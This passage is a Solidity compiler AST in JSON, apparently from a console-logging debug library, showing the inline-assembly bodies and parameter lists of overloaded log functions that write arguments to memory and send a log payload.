217:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133204:6:22","nodeType":"YulIdentifier","src":"133204:6:22"},"nativeSrc":"133204:16:22","nodeType":"YulFunctionCall","src":"133204:16:22"},"nativeSrc":"133204:16:22","nodeType":"YulExpressionStatement","src":"133204:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133240:4:22","nodeType":"YulLiteral","src":"133240:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"133246:2:22","nodeType":"YulIdentifier","src":"133246:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133233:6:22","nodeType":"YulIdentifier","src":"133233:6:22"},"nativeSrc":"133233:16:22","nodeType":"YulFunctionCall","src":"133233:16:22"},"nativeSrc":"133233:16:22","nodeType":"YulExpressionStatement","src":"133233:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133269:4:22","nodeType":"YulLiteral","src":"133269:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"133275:2:22","nodeType":"YulIdentifier","src":"133275:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133262:6:22","nodeType":"YulIdentifier","src":"133262:6:22"},"nativeSrc":"133262:16:22","nodeType":"YulFunctionCall","src":"133262:16:22"},"nativeSrc":"133262:16:22","nodeType":"YulExpressionStatement","src":"133262:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133298:4:22","nodeType":"YulLiteral","src":"133298:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"133304:2:22","nodeType":"YulIdentifier","src":"133304:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133291:6:22","nodeType":"YulIdentifier","src":"133291:6:22"},"nativeSrc":"133291:16:22","nodeType":"YulFunctionCall","src":"133291:16:22"},"nativeSrc":"133291:16:22","nodeType":"YulExpressionStatement","src":"133291:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133327:4:22","nodeType":"YulLiteral","src":"133327:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"133333:2:22","nodeType":"YulIdentifier","src":"133333:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133320:6:22","nodeType":"YulIdentifier","src":"133320:6:22"},"nativeSrc":"133320:16:22","nodeType":"YulFunctionCall","src":"133320:16:22"},"nativeSrc":"133320:16:22","nodeType":"YulExpressionStatement","src":"133320:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133356:4:22","nodeType":"YulLiteral","src":"133356:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"133362:2:22","nodeType":"YulIdentifier","src":"133362:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133349:6:22","nodeType":"YulIdentifier","src":"133349:6:22"},"nativeSrc":"133349:16:22","nodeType":"YulFunctionCall","src":"133349:16:22"},"nativeSrc":"133349:16:22","nodeType":"YulExpressionStatement","src":"133349:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133385:4:22","nodeType":"YulLiteral","src":"133385:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"133391:2:22","nodeType":"YulIdentifier","src":"133391:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133378:6:22","nodeType":"YulIdentifier","src":"133378:6:22"},"nativeSrc":"133378:16:22","nodeType":"YulFunctionCall","src":"133378:16:22"},"nativeSrc":"133378:16:22","nodeType":"YulExpressionStatement","src":"133378:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133414:5:22","nodeType":"YulLiteral","src":"133414:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"133421:2:22","nodeType":"YulIdentifier","src":"133421:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133407:6:22","nodeType":"YulIdentifier","src":"133407:6:22"},"nativeSrc":"133407:17:22","nodeType":"YulFunctionCall","src":"133407:17:22"},"nativeSrc":"133407:17:22","nodeType":"YulExpressionStatement","src":"133407:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38088,"isOffset":false,"isSlot":false,"src":"133188:2:22","valueSize":1},{"declaration":38091,"isOffset":false,"isSlot":false,"src":"133217:2:22","valueSize":1},{"declaration":38094,"isOffset":false,"isSlot":false,"src":"133246:2:22","valueSize":1},{"declaration":38097,"isOffset":false,"isSlot":false,"src":"133275:2:22","valueSize":1},{"declaration":38100,"isOffset":false,"isSlot":false,"src":"133304:2:22","valueSize":1},{"declaration":38103,"isOffset":false,"isSlot":false,"src":"133333:2:22","valueSize":1},{"declaration":38106,"isOffset":false,"isSlot":false,"src":"133362:2:22","valueSize":1},{"declaration":38109,"isOffset":false,"isSlot":false,"src":"133391:2:22","valueSize":1},{"declaration":38112,"isOffset":false,"isSlot":false,"src":"133421:2:22","valueSize":1}],"id":38120,"nodeType":"InlineAssembly","src":"133152:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"131913:3:22","parameters":{"id":38085,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38078,"mutability":"mutable","name":"p0","nameLocation":"131925:2:22","nodeType":"VariableDeclaration","scope":38122,"src":"131917:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38077,"name":"address","nodeType":"ElementaryTypeName","src":"131917:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38080,"mutability":"mutable","name":"p1","nameLocation":"131937:2:22","nodeType":"VariableDeclaration","scope":38122,"src":"131929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38079,"name":"uint256","nodeType":"ElementaryTypeName","src":"131929:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38082,"mutability":"mutable","name":"p2","nameLocation":"131949:2:22","nodeType":"VariableDeclaration","scope":38122,"src":"131941:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38081,"name":"bytes32","nodeType":"ElementaryTypeName","src":"131941:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38084,"mutability":"mutable","name":"p3","nameLocation":"131961:2:22","nodeType":"VariableDeclaration","scope":38122,"src":"131953:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"131953:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"131916:48:22"},"returnParameters":{"id":38086,"nodeType":"ParameterList","parameters":[],"src":"131979:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38162,"nodeType":"FunctionDefinition","src":"133446:1340:22","nodes":[],"body":{"id":38161,"nodeType":"Block","src":"133521:1265:22","nodes":[],"statements":[{"assignments":[38134],"declarations":[{"constant":false,"id":38134,"mutability":"mutable","name":"m0","nameLocation":"133539:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133531:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133531:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38135,"nodeType":"VariableDeclarationStatement","src":"133531:10:22"},{"assignments":[38137],"declarations":[{"constant":false,"id":38137,"mutability":"mutable","name":"m1","nameLocation":"133559:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133551:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38136,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133551:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38138,"nodeType":"VariableDeclarationStatement","src":"133551:10:22"},{"assignments":[38140],"declarations":[{"constant":false,"id":38140,"mutability":"mutable","name":"m2","nameLocation":"133579:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133571:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133571:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38141,"nodeType":"VariableDeclarationStatement","src":"133571:10:22"},{"assignments":[38143],"declarations":[{"constant":false,"id":38143,"mutability":"mutable","name":"m3","nameLocation":"133599:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133591:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38142,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133591:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38144,"nodeType":"VariableDeclarationStatement","src":"133591:10:22"},{"assignments":[38146],"declarations":[{"constant":false,"id":38146,"mutability":"mutable","name":"m4","nameLocation":"133619:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38145,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133611:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38147,"nodeType":"VariableDeclarationStatement","src":"133611:10:22"},{"assignments":[38149],"declarations":[{"constant":false,"id":38149,"mutability":"mutable","name":"m5","nameLocation":"133639:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133631:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38148,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133631:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38150,"nodeType":"VariableDeclarationStatement","src":"133631:10:22"},{"assignments":[38152],"declarations":[{"constant":false,"id":38152,"mutability":"mutable","name":"m6","nameLocation":"133659:2:22","nodeType":"VariableDeclaration","scope":38161,"src":"133651:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133651:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38153,"nodeType":"VariableDeclarationStatement","src":"133651:10:22"},{"AST":{"nativeSrc":"133680:831:22","nodeType":"YulBlock","src":"133680:831:22","statements":[{"body":{"nativeSrc":"133723:313:22","nodeType":"YulBlock","src":"133723:313:22","statements":[{"nativeSrc":"133741:15:22","nodeType":"YulVariableDeclaration","src":"133741:15:22","value":{"kind":"number","nativeSrc":"133755:1:22","nodeType":"YulLiteral","src":"133755:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"133745:6:22","nodeType":"YulTypedName","src":"133745:6:22","type":""}]},{"body":{"nativeSrc":"133826:40:22","nodeType":"YulBlock","src":"133826:40:22","statements":[{"body":{"nativeSrc":"133855:9:22","nodeType":"YulBlock","src":"133855:9:22","statements":[{"nativeSrc":"133857:5:22","nodeType":"YulBreak","src":"133857:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"133843:6:22","nodeType":"YulIdentifier","src":"133843:6:22"},{"name":"w","nativeSrc":"133851:1:22","nodeType":"YulIdentifier","src":"133851:1:22"}],"functionName":{"name":"byte","nativeSrc":"133838:4:22","nodeType":"YulIdentifier","src":"133838:4:22"},"nativeSrc":"133838:15:22","nodeType":"YulFunctionCall","src":"133838:15:22"}],"functionName":{"name":"iszero","nativeSrc":"133831:6:22","nodeType":"YulIdentifier","src":"133831:6:22"},"nativeSrc":"133831:23:22","nodeType":"YulFunctionCall","src":"133831:23:22"},"nativeSrc":"133828:36:22","nodeType":"YulIf","src":"133828:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"133783:6:22","nodeType":"YulIdentifier","src":"133783:6:22"},{"kind":"number","nativeSrc":"133791:4:22","nodeType":"YulLiteral","src":"133791:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"133780:2:22","nodeType":"YulIdentifier","src":"133780:2:22"},"nativeSrc":"133780:16:22","nodeType":"YulFunctionCall","src":"133780:16:22"},"nativeSrc":"133773:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"133797:28:22","nodeType":"YulBlock","src":"133797:28:22","statements":[{"nativeSrc":"133799:24:22","nodeType":"YulAssignment","src":"133799:24:22","value":{"arguments":[{"name":"length","nativeSrc":"133813:6:22","nodeType":"YulIdentifier","src":"133813:6:22"},{"kind":"number","nativeSrc":"133821:1:22","nodeType":"YulLiteral","src":"133821:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"133809:3:22","nodeType":"YulIdentifier","src":"133809:3:22"},"nativeSrc":"133809:14:22","nodeType":"YulFunctionCall","src":"133809:14:22"},"variableNames":[{"name":"length","nativeSrc":"133799:6:22","nodeType":"YulIdentifier","src":"133799:6:22"}]}]},"pre":{"nativeSrc":"133777:2:22","nodeType":"YulBlock","src":"133777:2:22","statements":[]},"src":"133773:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"133890:3:22","nodeType":"YulIdentifier","src":"133890:3:22"},{"name":"length","nativeSrc":"133895:6:22","nodeType":"YulIdentifier","src":"133895:6:22"}],"functionName":{"name":"mstore","nativeSrc":"133883:6:22","nodeType":"YulIdentifier","src":"133883:6:22"},"nativeSrc":"133883:19:22","nodeType":"YulFunctionCall","src":"133883:19:22"},"nativeSrc":"133883:19:22","nodeType":"YulExpressionStatement","src":"133883:19:22"},{"nativeSrc":"133919:37:22","nodeType":"YulVariableDeclaration","src":"133919:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"133936:3:22","nodeType":"YulLiteral","src":"133936:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"133945:1:22","nodeType":"YulLiteral","src":"133945:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"133948:6:22","nodeType":"YulIdentifier","src":"133948:6:22"}],"functionName":{"name":"shl","nativeSrc":"133941:3:22","nodeType":"YulIdentifier","src":"133941:3:22"},"nativeSrc":"133941:14:22","nodeType":"YulFunctionCall","src":"133941:14:22"}],"functionName":{"name":"sub","nativeSrc":"133932:3:22","nodeType":"YulIdentifier","src":"133932:3:22"},"nativeSrc":"133932:24:22","nodeType":"YulFunctionCall","src":"133932:24:22"},"variables":[{"name":"shift","nativeSrc":"133923:5:22","nodeType":"YulTypedName","src":"133923:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"133984:3:22","nodeType":"YulIdentifier","src":"133984:3:22"},{"kind":"number","nativeSrc":"133989:4:22","nodeType":"YulLiteral","src":"133989:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"133980:3:22","nodeType":"YulIdentifier","src":"133980:3:22"},"nativeSrc":"133980:14:22","nodeType":"YulFunctionCall","src":"133980:14:22"},{"arguments":[{"name":"shift","nativeSrc":"134000:5:22","nodeType":"YulIdentifier","src":"134000:5:22"},{"arguments":[{"name":"shift","nativeSrc":"134011:5:22","nodeType":"YulIdentifier","src":"134011:5:22"},{"name":"w","nativeSrc":"134018:1:22","nodeType":"YulIdentifier","src":"134018:1:22"}],"functionName":{"name":"shr","nativeSrc":"134007:3:22","nodeType":"YulIdentifier","src":"134007:3:22"},"nativeSrc":"134007:13:22","nodeType":"YulFunctionCall","src":"134007:13:22"}],"functionName":{"name":"shl","nativeSrc":"133996:3:22","nodeType":"YulIdentifier","src":"133996:3:22"},"nativeSrc":"133996:25:22","nodeType":"YulFunctionCall","src":"133996:25:22"}],"functionName":{"name":"mstore","nativeSrc":"133973:6:22","nodeType":"YulIdentifier","src":"133973:6:22"},"nativeSrc":"133973:49:22","nodeType":"YulFunctionCall","src":"133973:49:22"},"nativeSrc":"133973:49:22","nodeType":"YulExpressionStatement","src":"133973:49:22"}]},"name":"writeString","nativeSrc":"133694:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"133715:3:22","nodeType":"YulTypedName","src":"133715:3:22","type":""},{"name":"w","nativeSrc":"133720:1:22","nodeType":"YulTypedName","src":"133720:1:22","type":""}],"src":"133694:342:22"},{"nativeSrc":"134049:17:22","nodeType":"YulAssignment","src":"134049:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134061:4:22","nodeType":"YulLiteral","src":"134061:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"134055:5:22","nodeType":"YulIdentifier","src":"134055:5:22"},"nativeSrc":"134055:11:22","nodeType":"YulFunctionCall","src":"134055:11:22"},"variableNames":[{"name":"m0","nativeSrc":"134049:2:22","nodeType":"YulIdentifier","src":"134049:2:22"}]},{"nativeSrc":"134079:17:22","nodeType":"YulAssignment","src":"134079:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134091:4:22","nodeType":"YulLiteral","src":"134091:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"134085:5:22","nodeType":"YulIdentifier","src":"134085:5:22"},"nativeSrc":"134085:11:22","nodeType":"YulFunctionCall","src":"134085:11:22"},"variableNames":[{"name":"m1","nativeSrc":"134079:2:22","nodeType":"YulIdentifier","src":"134079:2:22"}]},{"nativeSrc":"134109:17:22","nodeType":"YulAssignment","src":"134109:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134121:4:22","nodeType":"YulLiteral","src":"134121:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"134115:5:22","nodeType":"YulIdentifier","src":"134115:5:22"},"nativeSrc":"134115:11:22","nodeType":"YulFunctionCall","src":"134115:11:22"},"variableNames":[{"name":"m2","nativeSrc":"134109:2:22","nodeType":"YulIdentifier","src":"134109:2:22"}]},{"nativeSrc":"134139:17:22","nodeType":"YulAssignment","src":"134139:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134151:4:22","nodeType":"YulLiteral","src":"134151:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"134145:5:22","nodeType":"YulIdentifier","src":"134145:5:22"},"nativeSrc":"134145:11:22","nodeType":"YulFunctionCall","src":"134145:11:22"},"variableNames":[{"name":"m3","nativeSrc":"134139:2:22","nodeType":"YulIdentifier","src":"134139:2:22"}]},{"nativeSrc":"134169:17:22","nodeType":"YulAssignment","src":"134169:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134181:4:22","nodeType":"YulLiteral","src":"134181:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"134175:5:22","nodeType":"YulIdentifier","src":"134175:5:22"},"nativeSrc":"134175:11:22","nodeType":"YulFunctionCall","src":"134175:11:22"},"variableNames":[{"name":"m4","nativeSrc":"134169:2:22","nodeType":"YulIdentifier","src":"134169:2:22"}]},{"nativeSrc":"134199:17:22","nodeType":"YulAssignment","src":"134199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134211:4:22","nodeType":"YulLiteral","src":"134211:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"134205:5:22","nodeType":"YulIdentifier","src":"134205:5:22"},"nativeSrc":"134205:11:22","nodeType":"YulFunctionCall","src":"134205:11:22"},"variableNames":[{"name":"m5","nativeSrc":"134199:2:22","nodeType":"YulIdentifier","src":"134199:2:22"}]},{"nativeSrc":"134229:17:22","nodeType":"YulAssignment","src":"134229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"134241:4:22","nodeType":"YulLiteral","src":"134241:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"134235:5:22","nodeType":"YulIdentifier","src":"134235:5:22"},"nativeSrc":"134235:11:22","nodeType":"YulFunctionCall","src":"134235:11:22"},"variableNames":[{"name":"m6","nativeSrc":"134229:2:22","nodeType":"YulIdentifier","src":"134229:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134332:4:22","nodeType":"YulLiteral","src":"134332:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"134338:10:22","nodeType":"YulLiteral","src":"134338:10:22","type":"","value":"0x0d36fa20"}],"functionName":{"name":"mstore","nativeSrc":"134325:6:22","nodeType":"YulIdentifier","src":"134325:6:22"},"nativeSrc":"134325:24:22","nodeType":"YulFunctionCall","src":"134325:24:22"},"nativeSrc":"134325:24:22","nodeType":"YulExpressionStatement","src":"134325:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134369:4:22","nodeType":"YulLiteral","src":"134369:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"134375:2:22","nodeType":"YulIdentifier","src":"134375:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134362:6:22","nodeType":"YulIdentifier","src":"134362:6:22"},"nativeSrc":"134362:16:22","nodeType":"YulFunctionCall","src":"134362:16:22"},"nativeSrc":"134362:16:22","nodeType":"YulExpressionStatement","src":"134362:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134398:4:22","nodeType":"YulLiteral","src":"134398:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"134404:4:22","nodeType":"YulLiteral","src":"134404:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"134391:6:22","nodeType":"YulIdentifier","src":"134391:6:22"},"nativeSrc":"134391:18:22","nodeType":"YulFunctionCall","src":"134391:18:22"},"nativeSrc":"134391:18:22","nodeType":"YulExpressionStatement","src":"134391:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134429:4:22","nodeType":"YulLiteral","src":"134429:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"134435:2:22","nodeType":"YulIdentifier","src":"134435:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134422:6:22","nodeType":"YulIdentifier","src":"134422:6:22"},"nativeSrc":"134422:16:22","nodeType":"YulFunctionCall","src":"134422:16:22"},"nativeSrc":"134422:16:22","nodeType":"YulExpressionStatement","src":"134422:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134458:4:22","nodeType":"YulLiteral","src":"134458:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"134464:2:22","nodeType":"YulIdentifier","src":"134464:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134451:6:22","nodeType":"YulIdentifier","src":"134451:6:22"},"nativeSrc":"134451:16:22","nodeType":"YulFunctionCall","src":"134451:16:22"},"nativeSrc":"134451:16:22","nodeType":"YulExpressionStatement","src":"134451:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134492:4:22","nodeType":"YulLiteral","src":"134492:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"134498:2:22","nodeType":"YulIdentifier","src":"134498:2:22"}],"functionName":{"name":"writeString","nativeSrc":"134480:11:22","nodeType":"YulIdentifier","src":"134480:11:22"},"nativeSrc":"134480:21:22","nodeType":"YulFunctionCall","src":"134480:21:22"},"nativeSrc":"134480:21:22","nodeType":"YulExpressionStatement","src":"134480:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38134,"isOffset":false,"isSlot":false,"src":"134049:2:22","valueSize":1},{"declaration":38137,"isOffset":false,"isSlot":false,"src":"134079:2:22","valueSize":1},{"declaration":38140,"isOffset":false,"isSlot":false,"src":"134109:2:22","valueSize":1},{"declaration":38143,"isOffset":false,"isSlot":false,"src":"134139:2:22","valueSize":1},{"declaration":38146,"isOffset":false,"isSlot":false,"src":"134169:2:22","valueSize":1},{"declaration":38149,"isOffset":false,"isSlot":false,"src":"134199:2:22","valueSize":1},{"declaration":38152,"isOffset":false,"isSlot":false,"src":"134229:2:22","valueSize":1},{"declaration":38124,"isOffset":false,"isSlot":false,"src":"134375:2:22","valueSize":1},{"declaration":38126,"isOffset":false,"isSlot":false,"src":"134498:2:22","valueSize":1},{"declaration":38128,"isOffset":false,"isSlot":false,"src":"134435:2:22","valueSize":1},{"declaration":38130,"isOffset":false,"isSlot":false,"src":"134464:2:22","valueSize":1}],"id":38154,"nodeType":"InlineAssembly","src":"133671:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38156,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"134536:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38157,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"134542:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38155,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"134520:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"134520:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38159,"nodeType":"ExpressionStatement","src":"134520:27:22"},{"AST":{"nativeSrc":"134566:214:22","nodeType":"YulBlock","src":"134566:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"134587:4:22","nodeType":"YulLiteral","src":"134587:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"134593:2:22","nodeType":"YulIdentifier","src":"134593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134580:6:22","nodeType":"YulIdentifier","src":"134580:6:22"},"nativeSrc":"134580:16:22","nodeType":"YulFunctionCall","src":"134580:16:22"},"nativeSrc":"134580:16:22","nodeType":"YulExpressionStatement","src":"134580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134616:4:22","nodeType":"YulLiteral","src":"134616:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"134622:2:22","nodeType":"YulIdentifier","src":"134622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134609:6:22","nodeType":"YulIdentifier","src":"134609:6:22"},"nativeSrc":"134609:16:22","nodeType":"YulFunctionCall","src":"134609:16:22"},"nativeSrc":"134609:16:22","nodeType":"YulExpressionStatement","src":"134609:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134645:4:22","nodeType":"YulLiteral","src":"134645:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"134651:2:22","nodeType":"YulIdentifier","src":"134651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134638:6:22","nodeType":"YulIdentifier","src":"134638:6:22"},"nativeSrc":"134638:16:22","nodeType":"YulFunctionCall","src":"134638:16:22"},"nativeSrc":"134638:16:22","nodeType":"YulExpressionStatement","src":"134638:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134674:4:22","nodeType":"YulLiteral","src":"134674:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"134680:2:22","nodeType":"YulIdentifier","src":"134680:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134667:6:22","nodeType":"YulIdentifier","src":"134667:6:22"},"nativeSrc":"134667:16:22","nodeType":"YulFunctionCall","src":"134667:16:22"},"nativeSrc":"134667:16:22","nodeType":"YulExpressionStatement","src":"134667:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134703:4:22","nodeType":"YulLiteral","src":"134703:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"134709:2:22","nodeType":"YulIdentifier","src":"134709:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134696:6:22","nodeType":"YulIdentifier","src":"134696:6:22"},"nativeSrc":"134696:16:22","nodeType":"YulFunctionCall","src":"134696:16:22"},"nativeSrc":"134696:16:22","nodeType":"YulExpressionStatement","src":"134696:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134732:4:22","nodeType":"YulLiteral","src":"134732:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"134738:2:22","nodeType":"YulIdentifier","src":"134738:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134725:6:22","nodeType":"YulIdentifier","src":"134725:6:22"},"nativeSrc":"134725:16:22","nodeType":"YulFunctionCall","src":"134725:16:22"},"nativeSrc":"134725:16:22","nodeType":"YulExpressionStatement","src":"134725:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"134761:4:22","nodeType":"YulLiteral","src":"134761:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"134767:2:22","nodeType":"YulIdentifier","src":"134767:2:22"}],"functionName":{"name":"mstore","nativeSrc":"134754:6:22","nodeType":"YulIdentifier","src":"134754:6:22"},"nativeSrc":"134754:16:22","nodeType":"YulFunctionCall","src":"134754:16:22"},"nativeSrc":"134754:16:22","nodeType":"YulExpressionStatement","src":"134754:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38134,"isOffset":false,"isSlot":false,"src":"134593:2:22","valueSize":1},{"declaration":38137,"isOffset":false,"isSlot":false,"src":"134622:2:22","valueSize":1},{"